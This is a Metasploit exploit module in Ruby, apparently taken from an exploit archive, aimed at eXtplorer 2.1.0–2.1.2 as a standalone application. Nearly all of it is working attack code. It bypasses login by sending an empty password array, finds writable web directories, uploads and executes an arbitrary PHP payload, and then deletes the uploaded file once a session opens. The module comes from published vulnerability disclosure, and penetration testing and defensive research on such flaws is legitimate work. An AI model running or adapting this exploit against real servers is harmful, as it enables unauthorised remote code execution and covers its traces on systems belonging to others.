eXtplorer 2.1 – Arbitrary File Upload (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "eXtplorer v2.1 Arbitrary File Upload Vulnerability", 'Description' => %q{ This module exploits an authentication bypass vulnerability in eXtplorer versions 2.1.0 to 2.1.2 and 2.1.0RC5 when run as a standalone application. This application has an upload feature that allows an authenticated user with administrator roles to upload arbitrary files to any writable directory in the web root. This module uses an authentication bypass vulnerability to upload and execute a file. }, 'License' => MSF_LICENSE, 'Author' => [ 'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit ], 'References' => [ [ 'OSVDB', '88751' ], [ 'BID', '57058' ], [ 'URL', 'http://itsecuritysolutions.org/2012-12-31-eXtplorer-v2.1-authentication-bypass-vulnerability' ], [ 'URL', 'http://extplorer.net/issues/105' ] ], 'Payload' => { }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ ['Automatic Targeting', { 'auto' => true }] ], 'Privileged' => false, 'DisclosureDate' => "Dec 31 2012", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path to the web application', '/com_extplorer_2.1.0/']), OptString.new('USERNAME', [true, 'The username for eXtplorer', 'admin']) ], self.class) end def check base = target_uri.path base << '/' if base[-1, 1] != '/' peer = "#{rhost}:#{rport}" # retrieve software version from ./extplorer.xml begin res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{base}extplorer.xml" }) if !res or res.code != 200 return Exploit::CheckCode::Safe end if res.body =~ /<version>2\.1\.(0RC\d|0|1|2)<\/version>/ return Exploit::CheckCode::Vulnerable end if res.body =~ /eXtplorer/ return Exploit::CheckCode::Safe end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("#{peer} - Connection failed") end return Exploit::CheckCode::Unknown end def on_new_session(client) if client.type == "meterpreter" client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") client.fs.file.rm("#{@fname}") else client.shell_command_token("rm #{@fname}") end end def upload(base, dir, fname, file) data = Rex::MIME::Message.new data.add_part(file, 'application/x-httpd-php', nil, "form-data; name=\"userfile[0]\"; filename=\"#{fname}\"") data.add_part("on", nil, nil, "form-data; name=\"overwrite_files\"") data.add_part("%2f#{dir}", nil, nil, "form-data; name=\"dir\"") data.add_part("com_extplorer", nil, nil, "form-data; name=\"option\"") data.add_part("upload", nil, nil, "form-data; name=\"action\"") data.add_part("xmlhttprequest", nil, nil, "form-data; name=\"requestType\"") data.add_part("true", nil, nil, "form-data; name=\"confirm\"") data_post = data.to_s data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{base}index.php", 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data_post, 'cookie' => datastore['COOKIE'], }) return res end def auth_bypass(base, user) res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{base}index.php", 'data' => "option=com_extplorer&action=login&type=extplorer&username=#{user}&password[]=", 'cookie' => datastore['COOKIE'], }) return res end def exploit base = target_uri.path base << '/' if base[-1, 1] != '/' @peer = "#{rhost}:#{rport}" @fname= rand_text_alphanumeric(rand(10)+6) + '.php' user = datastore['USERNAME'] datastore['COOKIE'] = "eXtplorer="+rand_text_alpha_lower(26)+";" # bypass auth print_status("#{@peer} - Authenticating as user (#{user})") res = auth_bypass(base, user) if res and res.code == 200 and res.body =~ /Are you sure you want to delete these/ print_status("#{@peer} - Authenticated successfully") else fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed") end # search for writable directories print_status("#{@peer} - Retrieving writable subdirectories") begin res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{base}index.php", 'cookie' => datastore['COOKIE'], 'data' => "option=com_extplorer&action=getdircontents&dir=#{base}&sendWhat=dirs&node=ext_root", }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") end if res and res.code == 200 and res.body =~ /\{'text':'([^']+)'[^\}]+'is_writable':true/ dir = "#{base}#{$1}" print_status("#{@peer} - Successfully retrieved writable subdirectory (#{$1})") else dir = "#{base}" print_error("#{@peer} - Could not find a writable subdirectory.") end # upload PHP payload print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length.to_s} bytes) to #{dir}") php = %Q|<?php #{payload.encoded} ?>| begin res = upload(base, dir, @fname, php) if res and res.code == 200 and res.body =~ /'message':'Upload successful\!'/ print_good("#{@peer} - File uploaded successfully") else fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") end # search directories in the web root for the file print_status("#{@peer} - Searching directories for file (#{@fname})") begin res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{base}index.php", 'data' => "start=0&limit=10&option=com_extplorer&action=search&dir=#{base}&content=0&subdir=1&searchitem=#{@fname}", 'cookie' => datastore['COOKIE'], }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") end if res and res.code == 200 and res.body =~ /'dir':'\\\/([^']+)'/ dir = $1.gsub('\\','') print_good("#{@peer} - Successfully found file") else print_error("#{@peer} - Failed to find file") end # retrieve and execute PHP payload print_status("#{@peer} - Executing payload (/#{dir}/#{@fname})") begin send_request_cgi({ 'method' => 'GET', 'uri' => "/#{dir}/#{@fname}" }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") end if res and res.code != 200 print_error("#{@peer} - Executing payload failed") end end end |